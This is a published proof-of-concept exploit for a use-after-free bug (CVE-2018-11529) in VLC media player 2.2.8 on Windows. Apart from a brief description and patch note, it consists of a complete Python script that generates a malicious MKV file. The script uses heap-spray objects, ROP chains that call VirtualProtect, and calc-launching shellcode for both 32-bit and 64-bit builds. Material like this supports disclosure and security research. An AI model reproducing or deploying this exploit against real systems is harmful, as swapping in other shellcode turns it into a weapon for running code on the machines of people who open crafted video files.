VLC Media Player 2.2.8 Arbitrary Code Execution

`Message Classification: Restricted  
# Exploit Title: VLC media player 2.2.8 Arbitrary Code Execution PoC  
# Date: 6-6-2018  
# Exploit Author: Eugene Ng  
# Vendor Homepage: https://www.videolan.org/vlc/index.html  
# Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe  
# Version: 2.2.8  
# Tested on: Windows 10 x64  
# CVE: CVE-2018-11529  
#  
# 1. Description  
#  
# VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows  
# an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed  
# exploit attempts will likely result in denial of service conditions.  
#  
# Exploit can work on both 32 bits and 64 bits of VLC media player.  
#  
# 2. Proof of Concept  
#  
# Generate MKV files using python  
# Open VLC media player  
# Drag and drop poc.mkv into VLC media player (more reliable than double clicking)  
#  
# 3. Solution  
#  
# Update to version 3.0.3  
# https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe  
  
import uuid  
from struct import pack  
  
class AttachedFile(object):  
def __init__(self, data):  
self.uid = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8]  
self.name = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8]  
self.mime = '\x46\x60' + data_size(24) + 'application/octet-stream'  
self.data = '\x46\x5c' + data_size(len(data)) + data  
self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid))  
  
def __str__(self):  
return self.header + self.name + self.mime + self.uid + self.data  
  
def to_bytes(n, length):  
h = '%x' % n  
s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')  
return s  
  
def data_size(number, numbytes=range(1, 9)):  
# encode 'number' as an EBML variable-size integer.  
size = 0  
for size in numbytes:  
bits = size*7  
if number <= (1 << bits) - 2:  
return to_bytes(((1 << bits) + number), size)  
raise ValueError("Can't store {} in {} bytes".format(number, size))  
  
def build_data(size, bits, version):  
target_addresses = {  
'64': 0x40000040,  
'32': 0x22000020,  
}  
target_address = target_addresses[bits]  
  
exit_pointers = {  
'64': {  
'2.2.8': 0x00412680,  
},  
'32': {  
'2.2.8': 0x00411364,  
}  
}  
pExit = exit_pointers[bits][version]  
  
rop_gadgets = {  
'64': {  
'2.2.8': [  
0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET  
0x00403b60, # POP RCX # RET  
target_address, # lpAddress  
0x004011c2, # POP RDX # RET  
0x00001000, # dwSize  
0x0040ab70, # JMP VirtualProtect  
target_address + 0x500, # Shellcode  
],  
},  
'32': {  
'2.2.8': [  
0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET  
0x00407086, # POP EDI # RETN [vlc.exe]  
0x00000040, # 0x00000040-> edx  
0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]  
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]  
0x22000030, # Filler (compensate) for rol [eax] below  
0x41414141, # Filler (compensate)  
0x004039c8, # POP ECX # RETN [vlc.exe]  
0x0041193d, # &Writable location [vlc.exe]  
0x00409d18, # POP EBX # RETN [vlc.exe]  
0x00000201, # 0x00000201-> ebx  
0x0040a623, # POP EBP # RETN [vlc.exe]  
0x0040a623, # POP EBP # RETN [vlc.exe]  
0x004036CB, # POP ESI # RETN [vlc.exe]  
0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]  
0x00407086, # POP EDI # RETN [vlc.exe]  
0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]  
0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)  
target_address + 0x5e0, # Shellcode  
],  
}  
}  
  
if bits == '64':  
target_address_packed = pack("<Q", target_addresses[bits])  
rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version])  
  
# https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin  
# w64-exec-calc-shellcode-esp.bin  
shellcode = (  
"\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48"  
"\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad"  
"\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74"  
"\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02"  
"\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01"  
"\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7"  
# add shellcode to avoid crashes by terminating the process  
# xor rcx, rcx # mov rax, pExit # call [rax]  
"\x48\x31\xc9\x48\xc7\xc0" + pack("<I", pExit) + "\xff\x10")  
  
if size == 0x180:  
UAF_object = '\x41'  
while len(UAF_object) < size:  
UAF_object += UAF_object  
UAF_object = UAF_object[:size]  
UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:]  
UAF_object = UAF_object[:0x38] + pack("<Q", target_address + 0x10000) + UAF_object[0x40:]  
UAF_object = UAF_object[:0x168] + pack("<Q", target_address + 0x3c0) + UAF_object[0x170:]  
UAF_object = UAF_object[:0x170] + target_address_packed + UAF_object[0x178:]  
return UAF_object  
else:  
block = '\x00'  
block_size = 0x1000  
while len(block) < block_size:  
block += block  
block = block[:block_size]  
block = block[:0x0] + '\x41' * 4 + block[0x4:]  
block = block[:0x8] + target_address_packed + block[0x10:]  
block = block[:0x10] + target_address_packed + block[0x18:]  
block = block[:0x40] + pack("<Q", 0x1) + block[0x48:]  
block = block[:0x58] + pack("<Q", target_address + 0x3a8) + block[0x60:]  
block = block[:0xE4] + pack("<Q", 0x1) + block[0xEC:]  
block = block[:0x1b8] + pack("<Q", target_address + 0x80) + block[0x1c0:]  
block = block[:0x3b8] + rop_chain + block[0x3b8+len(rop_chain):]  
block = block[:0x500] + shellcode + block[0x500 + len(shellcode):]  
block = block[:0x6d8] + pack("<Q", target_address + 0x10) + block[0x6e0:]  
while len(block) < size:  
block += block  
return block[:size]  
else:  
target_address_packed = pack("<I", target_addresses[bits])  
rop_chain = ''.join(pack('<I', _) for _ in rop_gadgets[bits][version])  
  
# https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin  
# w32-exec-calc-shellcode.bin  
shellcode = (  
"\x83\xE4\xFC\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64"  
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B"  
"\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24"  
"\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0"  
"\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7"  
# add shellcode to avoid crashes by terminating the process  
# xor eax, eax # push eax # mov eax, pExit # jmp eax  
"\x31\xC0\x50\xA1" + pack("<I", pExit) + "\xff\xe0")  
  
if size == 0x100:  
UAF_object = '\x41'  
while len(UAF_object) < size:  
UAF_object += UAF_object  
UAF_object = UAF_object[:size]  
UAF_object = UAF_object[:0x28] + target_address_packed + UAF_object[0x2c:]  
UAF_object = UAF_object[:0x2c] + pack("<I", target_address + 0x10000) + UAF_object[0x30:]  
UAF_object = UAF_object[:0xf4] + pack("<I", target_address + 0x2bc) + UAF_object[0xf8:]  
UAF_object = UAF_object[:0xf8] + target_address_packed + UAF_object[0xfc:]  
return UAF_object  
else:  
block = '\x00'  
block_size = 0x1000  
while len(block) < block_size:  
block += block  
block = block[:block_size]  
block = block[:0x0] + pack("<I", 0x22000040) + block[0x4:]  
block = block[:0x4] + target_address_packed + block[0x8:]  
block = block[:0x8] + target_address_packed + block[0xc:]  
block = block[:0x10] + pack("<I", 0xc85) + block[0x14:]  
block = block[:0x30] + pack("<I", 0x1) + block[0x34:]  
block = block[:0xc0] + pack("<I", 0x1) + block[0xc4:]  
block = block[:0x194] + pack("<I", 0x2200031c) + block[0x198:]  
block = block[:0x2c0] + pack("<I", 0x220002e4) + block[0x2c4:]  
block = block[:0x2f4] + pack("<I", 0x22000310) + block[0x2f8:]  
block = block[:0x2f8] + rop_chain + block[0x2f8+len(rop_chain):]  
block = block[:0x564] + pack("<I", 0x22000588) + block[0x568:]  
block = block[:0x5e0] + shellcode + block[0x5e0+len(shellcode):]  
while len(block) < size:  
block += block  
return block[:size]  
  
def build_exploit(bits, version):  
# EBML Header  
DocType = "\x42\x82" + data_size(8) + "matroska"  
EBML = "\x1a\x45\xdf\xa3" + data_size(len(DocType)) + DocType  
  
# Seek Entries  
SeekEntry = "\x53\xab" + data_size(4) # SeekID  
SeekEntry += "\x15\x49\xa9\x66" # KaxInfo  
SeekEntry += "\x53\xac" + data_size(2) + "\xff" * 2 # SeekPosition + Index of Segment info  
SeekEntries = "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry  
  
SeekEntry = "\x53\xab" + data_size(4) # SeekID  
SeekEntry += "\x11\x4d\x9b\x74" # KaxSeekHead  
SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4 # SeekPosition + Index of SeekHead  
SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry  
  
SeekEntry = "\x53\xab" + data_size(4) # SeekID  
SeekEntry += "\x10\x43\xa7\x70" # KaxChapters  
SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4 # SeekPosition + Index of Chapters  
SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry  
  
# SeekHead  
SeekHead = "\x11\x4d\x9b\x74" + data_size(len(SeekEntries)) + SeekEntries  
  
# Void  
Void = "\xec" + data_size(2) + "\x41" # Trigger bug with an out-of-order element  
  
# Info  
SegmentUID = "\x73\xa4" + data_size(16) + uuid.uuid4().bytes  
Info = "\x15\x49\xa9\x66" + data_size(len(SegmentUID)) + SegmentUID  
  
# Chapters  
ChapterSegmentUID = "\x6e\x67" + data_size(16) + uuid.uuid4().bytes  
ChapterAtom = "\xb6" + data_size(len(ChapterSegmentUID)) + ChapterSegmentUID  
EditionEntry = "\x45\xb9" + data_size(len(ChapterAtom)) + ChapterAtom  
Chapters = "\x10\x43\xa7\x70" + data_size(len(EditionEntry)) + EditionEntry  
  
if bits == '64':  
size = 0x180  
count = 60  
else:  
size = 0x100  
count = 30  
  
# Attachments  
print "[+] Generating UAF objects...",  
AttachedFiles = ""  
for i in range(500):  
AttachedFiles += str(AttachedFile(build_data(size, bits, version)))  
Attachments = "\x19\x41\xa4\x69" + data_size(len(AttachedFiles)) + AttachedFiles  
print "done"  
  
# Cluster  
print "[+] Generating payload...",  
payload = build_data(0xfff000, bits, version)  
SimpleBlocks = "\xa3" + data_size(len(payload)) + payload  
SimpleBlocksLength = len(SimpleBlocks) * count  
Timecode = "\xe7" + data_size(1) + "\x00"  
Cluster = "\x1f\x43\xb6\x75" + data_size(len(Timecode) + SimpleBlocksLength) + Timecode  
print "done"  
  
# Concatenate everything  
SegmentData = SeekHead + Void + Info + Chapters + Attachments + Cluster  
Segment = "\x18\x53\x80\x67" + data_size(len(SegmentData) + SimpleBlocksLength) + SegmentData  
mkv = EBML + Segment  
  
print "[+] Writing poc MKV...",  
with open('poc.mkv', 'wb') as fp:  
fp.write(mkv)  
for i in range(count):  
fp.write(SimpleBlocks)  
print "done"  
  
# Bug requires another MKV file in the same directory, hence we  
# generate another 'minimally valid' MKV file that VLC will parse  
# Also able to use any other valid MKV file...  
auxi_mkv = mkv[:0x4f] + "\x15\x49\xa9\x66" + data_size(10) # Add some arbitrary size  
  
print "[+] Writing auxiliary MKV...",  
with open('auxi.mkv', 'wb') as fp:  
fp.write(auxi_mkv)  
print "done"  
  
if __name__ == '__main__':  
bits = '64' # 32 / 64  
version = '2.2.8'  
  
print "Building exploit for %s-bit VLC media player %s on Windows" % (bits, version)  
build_exploit(bits, version)  
print "Open VLC and drag and drop in poc.mkv"  
  
  
`